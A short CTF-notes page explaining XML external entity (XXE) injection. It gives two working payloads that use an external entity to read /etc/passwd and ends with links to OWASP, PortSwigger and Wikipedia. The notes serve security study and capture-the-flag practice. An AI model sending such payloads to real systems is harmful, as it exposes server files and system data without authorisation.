> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/xxe-injection.md).

# XXE Injection

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

## Payloads

### Classic Payload

A classic payload that fetch and print the `/etc/passwd` file looks like this

```xml
<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE data [<!ENTITY pico SYSTEM '/etc/passwd'>]>
  <data>
    <ID>
      &pico;
    </ID>
  </data>
```

The name `pico` is arbitrary and can be anything.

Another variant is

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

## Resources

XML external entity (XXE) injection - PortSwigger: <https://portswigger.net/web-security/xxe>

XML External Entity (XXE) Processing - OWASP: <https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>

XML external entity attack - Wikipedia: <https://en.wikipedia.org/wiki/XML_external_entity_attack>